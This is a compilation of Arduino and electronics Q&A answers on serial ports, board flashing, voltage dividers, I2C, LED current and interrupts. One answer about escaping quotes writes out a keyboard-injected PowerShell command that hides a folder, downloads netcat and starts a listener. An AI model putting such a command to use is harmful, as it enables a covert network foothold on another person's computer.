  WiFi.mode(WIFI_STA);
  WiFi.begin(ssid, password);
  ...
  }

I was able to replicate success with another file on my ESP8266 device and Eero network as well.


How to diagnose unresponsive Leonardo serial port?

Since your code does not open the serial port, it is entirely expected that the serial port will appear briefly on reset, and then disappear. Initially it appears as the bootloader looks for a new sketch, and disappears because your code does not open Serial.

If you time it correctly you should be able to upload a new sketch after pressing Reset. You need to press Reset fairly precisely after the IDE announces that is uploading. You only have a window of a second or so.


Trying to individually control the servos in my robot using keyboard input

I would suggest you to add these line in your code.

while(!Serial.available()){;} before mot = Serial.read();

This will hold you logic till any input received from Serial.

Same you add before val = Serial.read();.


No, you can't use just an IR LED as the receiver.  While it is true that an IR LED can also be an IR receiver the voltages it generates are really really small. So you would need an amplification circuit. On top of that the TSOP1740 includes a band-pass filter to isolate the carrier frequency of the transmitted signal from the background light, which you would also need to implement.

So yes, while you could use an IR LED as a receiver, you need a large amount of support circuitry with it (which takes expertise not relevant to this website) to get it to do anything useful.


Is it possible my ATMega is burnt due to bad wiring?

Smoke is a definite sign something failed. The LED (power indicator)is independent of the microprocessor, it just indicates power is applied in the appropriate direction.  Go to the basics, and load the simple blink sketch and see if it works, if so you are lucky. You then might want to write some code to check all the outputs and inputs. It is possible you destroyed both devices, you need to do some investigating to determine what is still properly operating.


You can use JTAG and probably should.  But, it can also be done with bossac if you are very careful.  If you're not, you'll end up erasing your flash on your source board.
Using bossac
This would maybe not be preferred over JTAG because it is probably easier to screw up (see warnings below), but it can be done.  I may add some on JTAG programming later, and if I do it may be above this section for that reason.  The main advantage here is just that you don't need a JTAG programmer.  The one caveat is that your existing sketch, or rather the image of the sketch that has been burned onto what I'm calling the "source board" has to be functioning well enough that it can cooperate in being placed back into the ROM bootloader.  I fully expect this is not a problem for you, or for pretty much any normal Arduino sketch that has been burned to a board.
WARNINGS

Under NO circumstances do you want to connect to the PROGRAMMING port of your source board at 1200 baud.
Doing so will erase your board, and then that's the end of it.

In the below you will be connecting to the Native USB port at 1200, NOT the programming port.
Connect only one port at a time to your computer so there is no possibility of selecting the wrong one.

Practice this whole procedure with a board you don't care about first.

Locate your BOSSAC command.
On my Windows machine, it was in:
C:\Users\username\AppData\Local\Arduino15\packages\arduino\tools\bossac\1.6.1-ardunio\bossac.exe

It may be under a different version number.  It's possible that it will be in a completely different location.
cd %USERPROFILE%
dir bossac.exe /s/b/p/a

Should locate it it, eventually, in any case.
On Linux it will be under ~/.arduino15 somewhere:
find ~/.arduino15 -name bossac

On a Mac it will probably be under a /Library/ directory under the user account somewhere.  You get the idea, locate it, make sure you can run it.
NOTE: There's a bossa program that is the GUI version where bossac is a command-line program.  Unfortunately the IDE board support files don't ship the GUI program.  If you're having trouble with the command-line and want to try that instead, go for it.  But test it on a board you don't care about beforehand.  I have not tried it.
Connect to the Native Header
Connect your native USB port on the source board and only to that port.

Enable boot to ROM
Open a terminal emulator of your choice at a rate of 1200 baud to the native USB port, wait a couple seconds and then close the port.  You can use the Serial Monitor from the IDE to do this if you want:

Select the correct port from Tools/Port.

Open the Serial Monitor

Switch the baud rate to 1200 baud.

You're not going to type anything and you're not going to see anything once you're connected at 1200 baud.

Close the Serial Monitor

You probably should:

See if the port has changed COM#, if so select the new one.

Re-open the serial monitor

Change the baud rate again to anything-but-1200-baud

Close the serial monitor again.
This is not strictly necessary but the IDE remember the last chosen baud rate, and for what we're doing this is a slightly dangerous thing.

Close the IDE as well.

What connecting at 1200 baud does is activate the code inside the core part of the programmed sketch that changes the board to boot from the internal ROM bootloader.  It doesn't need traffic.  It just needs to see a request for 1200 baud.  More specifically, it needs to see the DTR "signal" go inactive, which happens when the port is closed, when the effective rate was 1200 baud.
NOTE: if you screw up here and connect to the programming port at 1200 baud instead, you'll wind up causing the ATMega16U2 to erase your source board.  The IDE remembers your last chosen baud rate, which makes this easy to screw up as well.  Hence the weird little dance in the above instructions regarding reopening the serial monitor and changing to something other than 1200 baud.  It's just putting an extra barrier up to accidentally doing this.
Once you've connected to the native USB port at 1200 baud and closed the port, your board will not run your sketch any more.  It's still there, it's just not running it.  The board has been told to sit in the ROM based bootloader, waiting for bootloader commands.
Saving your existing sketch's image
What we're going to do is run the bossac command you found earlier like so:
bossac --read saved-sketch-image.bin --boot --reset

I'm assuming you either changed directory to where bossac.exe is, or alternately you're going to specify the necessary path to it found earlier.  I've found this command locates the correct COM port automatically.
This command:

Downloads all of flash, 512 kbyte, and takes while, 128 seconds in one test.  Weirdly the same version under Linux takes closer to 10 seconds;  I haven't looked into why the difference, but I'm also unconcerned.
So you now should have a 512 kbyte raw binary file containing your sketch image.

It re-enables the boot-from-FLASH so that on the next reset it will go back to running your sketch

It resets your board, so it will begin running your old sketch.  If you don't want it to do that until you power cycle it, you could just as easily leave off the --reset part.

As said, this is a raw binary file.  But you mentioned a HEX.  I'm assuming you didn't mean that literally, so I'm not going to detail how to convert the .bin file to a HEX format.  Though, if you want to do that, you should know that it needs to be offset to 0x80000, because that's where flash starts on the Due.
Disconnect your source board from USB.
Making your clone (target) board
Connect to your target board via the programming port.

Hold the erase button for a few seconds to make sure the target board is erased.  Usually this would be done by the IDE connecting to the port for a while at 1200 baud.  But since we're using bossac at the command line, we need to do that step manually; it's just easier to use the button this time.

Reset the board with the reset button.  Your target board is now sitting in its ROM bootloader awaiting commands.

Put your image on the new board with:

bossac --write saved-sketch-image.bin --boot --reset

Again, it's programming the whole 512 kbytes.  In one test on Windows it took about 100 seconds; no difference between Windows and Linux.  We're using the USART (programming port) which is slower than USB and we're flashing rather than reading which is slower; I haven't bothered to figure out which thing is the bottleneck.

Like before --boot sets the board to boot from flash (your sketch) on next reset.

And again --reset just resets the board.

Your target board should now be be behaving identically to the original source board.


integer overflow in expression [-Woverflow] - TinyCircuit

You can specify the type of a number using suffixes such as L, LL,
UL and such. If you don't specify the type this way, all integers that
are small enough to fit in an int will be of type int. When you
write

ADV_INTERVAL_MIN_MS * 1000

it gets expanded by the preprocessor to

50 * 1000

Since both arguments are of type int, the compiler will use this type
to compute the result. However, the result is 50,000, and on 16-bit
systems the largest number that can fit in an int is 32,767, thus the
overflow.

As suggested by Majenko, the simple solution is to add the L suffix
(for long) to either operand. The compiler will then do the
arithmetics using the long data type.


Maybe you have a space in your WIFI SSID so you should check this in your router. Also maybe your WIFI is on 5Ghz and the ESP can't see it because it is only for 2.4 Ghz. Also if your WIFI AP is on a channel from 13 - 14 it also couldn't be seen by the ESP. And to test your ESP you can run the scan example and if it works you should try the web server example to connect to your network. If that all will work ok than the problem is in your code.


How can I connect nearly 450 LEDs to an arduino without drawing too much current?

First you should consider changing your whole idea so that your LEDs don't draw nearly 10A.

I am assuming that for each segment you have 14-20 LEDs wired in parallel, each with its own current limiting resistor. That is very wasteful.

Instead you should be grouping the LEDs in chains of series LEDs which you then place in parallel.

Assuming you have normal red LEDs with a forward voltage of around 2V and a typical current draw for maximum brightness of 20mA, you can connect them up in chains of, say, 5 LEDs with one current limiting resistor, and power them from 12V not 5V.

3 chains of 5 LEDs (15 LEDs) would be 3x20mA = 60mA per segment. 4 chains of 5 LEDs (20 LEDs) would be 4x20mA = 80mA.

With 08:08 displaying that's 26 segments plus dots. Assuming each segment has 20 LEDs that's a total of 26x4 = 104 chains of 5 LEDs, totalling 520mA.

And then you should do away with the resistors as well, and use constant current LED sinks, such as the TLC59116, which can handle the higher input voltage.

If you don't want to do that, then more transistors will be needed:

simulate this circuit – Schematic created using CircuitLab

I have only showed 2 digits, 2 segments, 2 chains per segment, and 2 LEDs per chain to save space.

To drive it you need 1 GPIO per segment in one digit and 1 GPIO per digit. So for 4 digits at 7 segments that's 11 GPIO.


All four of my ESC motors stutters when I run it on my Arduino, how can this be fixed?

Push more current. You probably using the same 5V as the Arduino. This may cause "lag".

As I said in an other answer to one of your other questions, connect the battery's + directly to the + of that power distribution borad.


Measurement of pulse duration greater than 3mins

The concept is actually quite simple.

You need to record the time when the signal goes high, and record the time when it goes low. The pulse width is the difference between the two times.

Yes, you can do it with interrupts, but you don't need to if you're not trying to do anything else at the same time.

A simple polling code could be something like this:

while (digitalRead(pin) == LOW); // Wait for input to go high
unsigned long startTime = millis(); // Record start time
while (digitalRead(pin) == HIGH); // Wait for input to go low
unsigned long endTime = millis(); // Record end time
unsigned long pulseDuration = endTime - startTime;

You basically sit doing nothing until the leading rising edge of your pulse.  You then record the time, and again sit doing nothing - this time while looking for the trailing falling edge of the pulse.  Then record the end time and subtract the two.


Analog input voltage rises when motor is working

Try adding some bypass capacitors at the two points I've added arrows to:

I suggest two in each spot, one a 0.1uF (or similar) ceramic dipped or disc and the other a 1 or 10uF electrolytic.  Keep the polarity in mind for the electrolytic.
Oh, and another thing.  Be sure your motor is not pulling your power supply voltage down.  It's possible your phone charger supply is inadequate to supply the power needs of the motor.  Use a voltmeter across the input to the Arduino and check the voltage when the motor runs.  If it's dropping much below 5V you need a better power supply.  Well, I see now that you are only powering the motor from that 5V supply.  So that's probably not it.


You may want to have a look at the Adafruit BLE modules:
https://learn.adafruit.com/introducing-the-adafruit-bluefruit-le-uart-friend/bleuart?view=all

They have provided great examples of how to connect from Android and iOS devices, as well as providing apps or code to integrate into your own apps and you get to implement the motor controller code yourself on the Arduino so should have full control over that side.

They even have an example where they are controlling a motor using an Arduino and Bluetooth, it may not be exactly what you need but hopefully gets you closer to an answer:
https://learn.adafruit.com/bluetooth-motorized-camera-slider/overview?view=all


Passing the input from one pin to another as output without polling?

You could use an analog multiplexer such as the 74HC4051 (8 channels) or the 74HC4067 (16 channels) like this:

Arduino B could alter the multiplex selector (A/B/C) pins to route the signal from the test points to a specific pin on Arduino A. If you are wanting to see the result of the signal on a different pin then a second multiplexer would be required (ie. one to send data to a pin, the second to see the result on a different pin).

I have a post about the 74HC4051 multiplexer / demultiplexer which gives more details about using it.

When I tested it I found only about a 5 ns delay in timing:

Ignacio's answer about a crossbar switch sounds like a more elaborate form of multiplexer. Personally I haven't used one of them.


Printing multiple double qoutes in print statement

It seems you used \"" instead of only \" in several locations of this string. Also, since the string you want to send already includes the escape \ character, it must iself be escaped \\.

If the command you want to send to keyboard is:

  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt

Then you should escape it as follows:

"cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt"


Problem with action that should happen in loop(continuously)

The BLYNK_WRITE(V1) function is only called when a Blynk app widget sends data to your hardware. It does not run in a loop. If you want something to run in a loop, put it in loop().

The WRITE aspect is from the point of view of the App, not of your hardware, so your hardware uses BLYNK_WRITE() to receive information from the app. And it's only called when the app chooses to send that information. For example, when a button in the Blynk smartphone app is pushed.


First, your code isn't structured properly. It should be:

success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);

if (success)
  Serial.println("Present");
else
  Serial.println("Card Gone");

From what I could find in the library, the reason you aren't getting either the 'Card Gone' or 'Present' message when there is no card is because nfc.readPassiveTargetID() is a blocking function. It will wait forever until a tag is detected, at which point it returns to the caller. When you bring a card within the reader's range, the function returns quickly and loop() runs smoothly, giving you the 'Present' message over and over again. When you remove the card however, on the next call of nfc.readPassiveTargetID(), the function tries to locate a card but finds none and then it keeps trying and does not return. So loop() never gets past that point, until you bring a card within range again.

To detect the presence or absence of something, an observer must observe for some pre-determined period of time before making a decision. So, I suggest you get the latest version of this library which gives you the option of adding a milliseconds timeout argument to nfc.readPassiveTargetID(). That way, you can specify how long you want the function to try detecting a card before concluding there is no card and returning.

Alternatively, you could use your existing function as is but in setup() you need to set the maximum number of re-tries before the nfc.readPassiveTargetID() returns. This is done with setPassiveActivationRetries(). Any argument from 0x00 to 0xFE indicates a finite number of tries, while 0xFF is to wait forever:

nfc.setPassiveActivationRetries(0x9A); // for example
nfc.SAMConfig();  // this comes next

Good luck.


Why these specific voltage divider resisters needed for Arduino Uno RX TX pins?

The output of a voltage divider is:

Vout = Vin * R2 / (R1 + R2)

Where R2 is the resistor in your case which is connected to ground.

See: Sparkfun - voltage dividers

Now in your example of 220 / 1k you have a multiplier of:

Vout = Vin * 1000 /1220 = Vin * 0.82

If both boards are running at 5V you don't need the voltage divider at all, but if you do use it the output would be:

Vout = 5 * 0.82 = 4.1

Now the Atmega328P chip on the Uno has the electrical characteristics defined in the datasheet, amongst others is that a digital pin high has to have a minimum of 0.6 * Vcc (if Vcc is in the range 2.4V to 5.5V)

So if Vcc is 5V (which it is on the Uno) you have to have 0.6 * 5 (that is, 3V) as the minimum for it to be recognised as high.

So, using the voltage divider of 220/1k you have a high still being 4.1V which is in the range 3 to 5V.

However if you have the board set to 3.3V then the output of the voltage divider will be 3.3 * 0.82 = 2.76V which is too low to be recognized as high.

For sending serial from a 3.3V board to a 5V board, simply omit the voltage divider, and then the 3.3V (for high) is in range (it has to be 3+ volts).

However for sending from a 5V board to a 3.3V board you do need a voltage divider (or level shifter) because 5V is too much for a 3.3V board. You can use a voltage divider calculator to simplify the maths.

Something like 1k/1.8k would be about right.

Vout = 5 * 1800 / 2800 = 3.21

According to the documentation for the Parallax WX ESP8266 Wi-Fi Module:

  (9) Level shifters and buffers

  To ensure maximum compatibility with a wide range of 3.3V and 5V microcontrollers and development boards, the Parallax Wi-Fi module includes voltage level shifters and buffers to ensure that the logic voltage levels at the SIP header are set by the VIN voltage level. If you
  supply 3.3V to VIN, then the IO pins logic voltage level will be 3.3V. If you supply 5V to VIN, then the IO pins logic voltage level will be 5V

I don't see why you need to use a voltage divider or level shifter in the first place.

References

Atmega328P datasheet (32.9 MB)
Sparkfun - voltage dividers
Voltage divider calculator
Another voltage divider calculator
Voltage dividers - Wikipedia


Risks when commanding multiple chips with same address via I2C

There is no risk for damaging something, but the risk is the reliability.

The NCD2400M operates at 3.3V and 5V, so that will work with every Arduino board.

Your question is very similar to the question that you already found: electronics.stackexchange.com/questions/417263/multiple-instances-of-same-device-on-i2c-bus.
There are a few specific Arduino things to mention.

During Arduino setup() a sensor is often checked if it is connected and if it is possible to communicate with a sensor. That would be impossible when the sensors share the I2C address.

The Arduino Wire library detects a bus error, for example when there are other I2C Masters on the bus, and returns with an error.
Since your NCD2400M are only Slaves, I think that they will not trigger a bus error.

You need some luck, and I can not guarantee that it will always work:

When the NCD2400M behaves like a normal I2C Slave and it is not too
smart, then it does not detect that another one pulls the SDA low
for an acknowledge.
Some sensors send a NACK when they are busy, I
can not find such a note in the datasheet. You could write to the
NCD2400M twice to be sure that they have received it.
When they have an
internal clock and respond with different timings on the I2C bus,
then you can set the SCL clock lower. For example
Wire.setClock(50000); after Wire.begin() for a 50kHz SCL clock.

When one of NCD2400M is blown, then you are not able to identify the bad one. However, when one of the NCD2400M is blown, perhaps the whole circuit is no longer reliable.

For a good design, you should know if you are actually communicating with a sensor or just talking into thin air. When you have made more Arduino projects, then you know that it is essential to know if a sensor is connected or not.

Trying this solution to make it "easy" for now, might cause a lot of troubles later.

Conclusion: It will work. You can use it for a test. When you use it in the final version, you take the risk that it can cause a lot of troubles.

More about the basics of the I2C bus: http://www.gammon.com.au/i2c


Do I have a faulty arduino uno, or have I found an Arduino bug?

If the Arduino "fails" the moment you apply power to a motor, you can bet that it is a power issue.

Or possibly you are exceeding the output rating of the output pin. You should not draw more than 20 mA from each output pin continuously.

  I'm trying to decide whether I should invest in another arduino system.

Power the motor independently of the Arduino. This is normal advice for all but very small motors. Also make sure that you have a suitable driving transistor / MOSFET if the motor draws more than 20 mA. Take into account any surge startup current.

See Driving motors, lights, etc. from an Arduino output pin for some design ideas.

For example:


A motor driver board is just a convenient way of creating what is known as a "H Bridge". This is an arrangement of 4 (or more, but 4 primary) transistors.

You can make it yourself with discrete transistors, but it is simpler to just use a pre-made chip.

A H Bridge gives you greater control over a motor than a single transistor alone. It allows you to control the direction, which you can't do with a single transistor, and it also gives you access to braking modes where the motor becomes harder to turn thus assisting in slowing down the load.

With a single transistor you can turn the motor on and off (or vary the speed if you use PWM) but that is all.

simulate this circuit – Schematic created using CircuitLab


1-wire transmission takes ~100us/1bit so 1ms/byte. so unless the adc is that slow, it shouldn't take you anywhere close to 500ms to take 1 reading, even if you factor in the overhead / reset.

there are dedicated chips but as you mentioned putting an amplifier (instrumentation amps for example) isn't that difficult. simpler with chips with built-in PGA + differential adc. My favorite here are some of the AVR chips (ATtiny85 or ATmega32U for example). But lots of Freescale / STM32F3 chips also work, so long as you are willing to dive into their and roll your own. Lots of fun.


variable name standards, e.g best method to send motion_detect=true

Yes, there are systems designed to continuously receive such data and the data exchange is standardized, even some Units are standardized.
OPC DA
An example is OPC Data Access for real time values. It seems you want to build a graph, so OPC Historical Data Access is more what you're looking for.
One would set up the data points on the server side once, i.e. configure the type and unit that you're gonna receive on that "channel" or "port" or whatever you call it.
Unfortunately, OPC DA and OPC HDA use XML and building XML is not trivial. It's not very suitable for IoT devices.
Lessons learned: configure the unit on server side and let the client send data only. Do not use XML for data transfer.
OPC UA
Then there is OPC Unified Architecture. They also learned their lesson and removed XML and added security. They now use a binary protocol. The specification is more than 1000 pages, so understanding it will be difficult and is in fact so difficult that even OPC UA implementations of different companies do not work together well.
OPC UA defines 25 data types and ways of defining other data types.
The address space in OPC UA is hierarchical - and probably a device can exist in multiple hierarchies, e.g. physical topology like floors and rooms or logical topology that fits into the structure of the machine.
Lessons learned: make the protocol simple and think about security, i.e. if you want to do URL encoding (GET), then use HTTPS at least. AFAIK, devices ESP32 support encryption, so it's no longer a problem for tiny devices. People will use very strange data types, like 18 bit integers. Also, do not only provide a flat list of devices, but let them arrange stuff as needed.
MQTT and NodeRed
Now these were quite heavy protocols and models driven by companies. Of course there are also protocols better suited for IoT, like MQTT. MQTT is widely known and uses the also well known Node Red software for handling it. You can define workflows how the data should be handled, converted, stored and whether alarms shall be triggered above or below thresholds.
They already think of connection loss, reconnect and how to send all the data that was already recorded but could not be sent.
Lessons learned: People want more than just data storage and a graphics.
Units
openHAB tries to come up with a List of units. I am a radio amateur. I am measuring electromagnetic fields. I am still missing

SWR (standing wave ratio)
dBu (dB µW)
dBc (dB relative to the strongest signal)
dBV, dBmV (dB for Volts instead of Watts)

Personal experience
I was working for a company that made software for industry. There are devices that send a measurement value every 100 ms. Let's say this is a simple temperature value of just 1 byte, that's still 315'000'000 records per year.
How do you display such data? On a Full HD screen you would still need to combine 150'000 measurement values on a single column of pixels.
Lessons learned: you need sophisticated data crunching skills to generate the graphics. The users probably want some control over the time span they are viewing. They want zooming and panning.
Conclusion

I was thinking this server can be possibly used by more people to send their data and server displays a chart.

IMHO, sorry, it's hardly needed. People do not want to send their data to a random HTTP server. Some want to set it up at home only, so that no data ever reaches the Internet. Some people want to do more than just displaying a grpahics (especially alarms). MQTT and Node Red runs locally, on a Raspberry, on a server and even in the cloud, whatever you want.
You do not only need pir=true, pir=1, motion_detect=true, you also need

an ID for the device,
a timestamp when the data was recorded
potentially a way to send bulk data after the server was offline for an hour of maintenance
a system for units
encryption

That's quite an effort. Node Red has > 4000 commits.


How to wire QRB1114 IR sensor to an Arduino Uno

It was a dumb programming/wiring problem on my end. As I discovered from this description, the signal pin needs a pullup resistor. Since my circuit doesn't have that, I need to enable the pullup resistor on A0, which I wasn't doing.

After modifying my code to do that, the sensor works as expected.


Arduino Due - creating an 8Mhz clock signal

the code below should give you a 8.4MHz signal on digital pin 7 of the due. I have used it to generate a 4.2MHz clock (by setting REG_PWM_CPRD6 = 20; and REG_PWM_CDTY6 = 10; but I think it should work for a 8.4MHz clock also.

I have been using this to provide a 4.2MHz clock signal instead of using a crystal oscillator for an ADE7913 and can confirm it is working well in that application. I have taken this from the arduino forum here.

#include <Arduino.h>

const unsigned long serialPeriodMillis = 2000;
unsigned long previousMillis = 0;

void setup()
{
  int32_t mask_PWM_pin = digitalPinToBitMask(7);
  REG_PMC_PCER1 = 1 << 4;                         // activate clock for PWM controller
  REG_PIOC_PDR |= mask_PWM_pin;                   // activate peripheral functions for pin (disables all PIO functionality)
  REG_PIOC_ABSR |= mask_PWM_pin;                  // choose peripheral option B
  REG_PWM_CLK = 0;                                // choose clock rate, 0 -> full MCLK as reference 84MHz
  REG_PWM_CMR6 = 0 << 9;                          // select clock and polarity for PWM channel (pin7) -> (CPOL = 0)
  REG_PWM_CPRD6 = 10;                             // initialize PWM period -> T = value/84MHz (value: up to 16bit), value=10 -> 8.4MHz
  REG_PWM_CDTY6 = 5;                              // initialize duty cycle, REG_PWM_CPRD6 / value = duty cycle, for 10/5 = 50%
  REG_PWM_ENA = 1 << 6;                           // enable PWM on PWM channel (pin 7 = PWML6)

  Serial.begin(115200);
  Serial.println("Serial on");
}

void loop()
{
  if (millis() - previousMillis > serialPeriodMillis) {
    Serial.println("TIC");
    previousMillis = millis();
  }
}


How do you send data via I2C without the wire library?

I2C is a lot more complex than just shifting bytes out.

See: I2C - Two-Wire Peripheral Interface - for Arduino

Your code does not seem to take any of that into account.

Why do you not want to use the Wire library? The hardware on the chip (what chip do you have?) supports it. Why ignore that and try to do it yourself?


Using attachInterrupt() to make a reset button for my code?

You should enable verbose compilation in the IDE. You will then have a
chance to see this compiler warning:

warning: statement is a reference, not call, to function ‘exit’
  exit;
      ^
warning: statement has no effect

Naming a function without calling it is a way to get a pointer to the
function. It's equivalent to &exit. But since you do nothing with that
pointer, the statement has no effect, and that's exactly what the
compiler is warning you about.

You presumably want to call the exit() function, like in:

exit(0);

Edit: That being said, exit() is probably not what you want.
This function just stops your program by putting it in an infinite loop.
If you want it to restart from scratch, you can first declare

extern "C" void __init();

then, instead of exit(0); call __init();. This will send your
program to the beginning of the initialization code from the C runtime,
which is responsible of resetting the stack and initializing the memory
(.data and .bss sections). Note that this is not equivalent to a
hardware reset because:

doing this does not run the bootloader
more importantly, it doesn't reset the IO registers of the peripherals
to their default reset state.


CH340 chip getting fried after connecting Arduino to a powerful 12V souce

It's impossible to say for sure what is going on without proper equipment (mostly you need oscilloscope), but I'm pretty sure that due to very high current consumption of the motors, there are voltage spikes at the input of the voltage regulator. If voltage exceeds safe value (15V for most of them), then regulator fails and all the input voltage is now on the output (that's how they fail 99% if the time, not as an open unfortunately, but as a short). Then for some reasons the weakest IC is CH340G which is fried. Try to use destroyed Arduino without ESC, and see what's on the 5V pin.
You say that you have currents up to 30A, but PSU is rated for 120W which means it can deliver only 10A at 12V. So at some point PSU falls into protection mode, switches off the output, and after some time tries to switch it on again. Situation with voltage spikes can be very nasty during this period.
Also please post your schematic and photo of the actual wiring, this can also give us some clues.


Arduino GSM module + SMS string sending garbage value

Using Strings in a microcontroller is a no-no.
First, try to send a test SMS, to see if everything works OK on SIM800-Arduino etc.

If you receive it correctly, then try to play with char arrays.
First, declare a char array big enough for your data to fit in. Let's use a demo array, but keep in mind that it's your responsibility to keep things tidy.

byte sizeOfBuffer = 10;
char smsString[sizeOfBuffer] = {'\0'};

What we did is create an smsString array of 10 bytes, 9 bytes for data and 1 byte for our special end of sting character. Since we don't want Arduino to handle things with Strings, we have to tell our microcontroller where does that String end. That's what '\0' does.

Then, modify the send function to accept that data type.

//SEND SMS function with char array
void send_SMS_charArray(char *lvlmsg, byte sizeOfsms)
{
  SIM900.print("AT+CMGF=1\r");
  delay(1000);
  SIM900.println("AT+CMGS=\"+918237504767\"\r");
  delay(100);
  for (byte i=0; i<sizeof(sizeOfsms); i++){
    SIM900.print(lvlmsg[i]);
  }
  Serial.println();
  delay(100);
  SIM900.println((char)26);
  delay(1000);
  SIM900.println();
  delay(5000);
}

Finally, to call the new function you would do something like

sprintf_P(smsString, PSTR("TANK IS: %i"), TKLVL);
send_SMS_charArray(smsString, sizeOfBuffer);

Notice sprintf_P when using static messages such as "TANK IS". It will save your life in a few months.


There is no need to separate grounds, you can connect all grounds together. In fact they are connected together on the board itself.


Understanding how PULLUP works lead to the solution. Also learnt that switches are supposed to be connected to ground. Thank you all for your time. Especially chrisl.


Can I switch from Serial to SoftwareSerial at runtime with the same baud?

I think you are missing what the baud rate is.  It is the speed at which the data is transmitted.   So the fact that your two devices are the same is not an issue.   It looks like from the code that your gps is connected to the hardware serial(pins 0,1 on uno) and the printer is on a software serial( pins 5,6)   If this is the case, there is no reason to turn off either of them, they can both work. In the case of using multiple SOFTWARE serial connections, only one can be 'listening' at any time, so you must switch between them. This is not the case in your code, as there is only one software serial connection.


You should be able to get 6 or 7 decimal places out of the Arudino float type. Try using Serial.print for floats with a number of decimal places. Something like this:

float x = log10(3.141592658);
Serial.print(x, 6);


How can you count the number of interrupts that have taken place?

Yes, just add a check inside your ISR statement.

ISR(TIMER0_OVF_vect)
{
  static uint8_t postscale = 0;
  if (++postscale == 81)
  {
    postscale = 0;
    do_stuff();
  }
  else
  {
    go_to_sleep();
  }
}

You always have to enter the ISR method once you're done with the interrupt so just add that if statement and use a static variable (so that it keeps its value) to check if you have made the correct number of loops.


under the IDE make sure you have set the correct board and comm port. go to tools>>board then choose your board then tools>>Comm to choose the correct comm port.

is the IDE saying anything about having problems connecting to the board?

and no re-installing all drivers should not be necessary.


I'm assuming you mean that you want to pull a voltage number off of an input pin and convert it to a meaningful number.

To do this find the range of the incoming voltage.

Find the range of the sensor.

After that you need to split the voltage up to show what parts of the range convert to how much psi.

Here is an example of a temperature gauge that has the same principle.

Temp sensor


Unable to upload code to the Arduino Nano

I suggest you disconnect the motor while you are uploading. The power it is using, or the electrical noise it is generating, may intefere with the uploading process.


Arduino Uno and FastLED WS2812B Glitching

I have run the code on the Arduino simulator online. If it is working in the Arduino Simulator chances are less that it has to do something with the code itself.
Hence, also as the root cause was found to be about sharing the ground @Majenko
This is also one example of solving the problem step by step. validating one section after the other. using the simulator you can verify that the code is working fine. later, proceed to verify the hardware. I hope this helps.
You can verify the FastLED code here (you can modify the parameters)


It is certainly possible to do this.

  I want to store the programming code in the EEPROM of the "Programmer Arduino" and using any interface like SPI, I2C or Serial, burn this code to the Second arduino.

I should point out that the EEPROM may not be large enough for this. For example, the Uno has only 1KB of EEPROM.

A more workable solution would be to store a reasonable size program in PROGMEM, or a larger one in external memory, like an SD card.

I have a page about a stand-alone programmer - the first idea presented just uses the Serial monitor to command the programmer behaviour:

Using the Serial Monitor you select the file you want programmed. Another approach, commissioned by someone who wanted to eliminate the external computer altogether looks like this:

In this case you put one or more hex files onto the SD card, choose one using the "file select" knob, and then press the "program" button to program it. This only takes a couple of seconds.

There are also commercial products that do a similar thing.


A major functional difference between the code in your question and the usual ping sensor example is that your code repetitively measures as fast as it or the output stream will allow.

In contrast, the normal example has a delay(100) after each measurement cycle.  This allows 1/10th of a second time for any longer room echoes to die out, and thus avoid confusing new measurements.

While that might not be your immediate or only problem, it is generally a good idea not to try to take sonar measurements so closely spaced in time that they could overlap.

Should your sketch also need to do other things, instead of a blocking delay() you can check the elapsed time and only take a new sonar measurement once a certain amount of time has passed; in the meantime your program can continue with any other critical operations.


What is better: one sprintf() or multiple strcat() and itoa()?

Why do you feel you need to use either method? Neither are needed. Just print the individual parts:

Serial.print('X');
Serial.print(first);
Serial.print('Y');
Serial.print(second);
Serial.println('T');

No intermediate buffers, just sending the data direct out to the UART.


PubSubClient - MQTT_MAX_PACKET_SIZE How is it calculated

It is the maximum size of an entire packet.  In publish() this check is done:
if (MQTT_MAX_PACKET_SIZE < MQTT_MAX_HEADER_SIZE + 2+strlen(topic) + plength) {

So the maximum length of a message payload will be
MQTT_MAX_PACKET_SIZE - MQTT_MAX_HEADER_SIZE - 2 - strlen(topic)

MQTT_MAX_HEADER_SIZE is defined as 5, so if you have, for example, a 20 character topic you would have 256 - 5 - 2 - 20 = 229 bytes left for your payload.


How to use attachInterrupt() in ATtiny85 with Arduino IDE?

Pin PB2 is the only pin that has a real external interrupt.  This is INT0.

Whether you can use attachInterrupt(0, ...) or not is entirely down to whether it is implemented in the core that you are using.


Where can i get touch sensitive buttons with RGB-LED like in Ableton Push

Just a little more searching would have led you to this, along with its associated breakout board, bezels, and LEDs.


You misunderstand the meaning of:

1 << ADSC

That actually means Bit-shift 1 left by the number of bits specified by the value ADSC.

ADSC in this case is 6:

#define ADSC    6

So if you did:

while(ADSC);

you would actually be doing:

while(6);

Which of course will never end, since 6 is not 0, so is true.

Instead you shift 1 left 6 times, which in binary would be:

00000001
    << 6
01000000

That, of course, is 64, or 0x40 in hexadecimal.  That is then ANDed with the value of the ADCSRA register to return the value of one single bit within that register.  It's then the result of that AND that you control the while with.  So it ends up as:

while(ADCSRA & 0x40);

Which will either equate to:

while(0x40);

if the 7th bit is set, or if it's not set:

while(0x00);

And since 0x00 is 0 it will equate to false when the bit isn't set and the while will finish.


Short answer: You're drawing too much current through the H-bridge.

Longer answer: The H-bridge is most efficient when fully on and that's when the chip gets rated for the maximum current. The rating also, probably, states that a heat sink is attached to the chip. Using PWM to slow down the motor decreases the current going through the bridge, but also incurs inefficiencies because the transistors / MOSFETs are partially on, and thus acting somewhat as resistors. This inefficiency manifests as heat.

So you have several options.
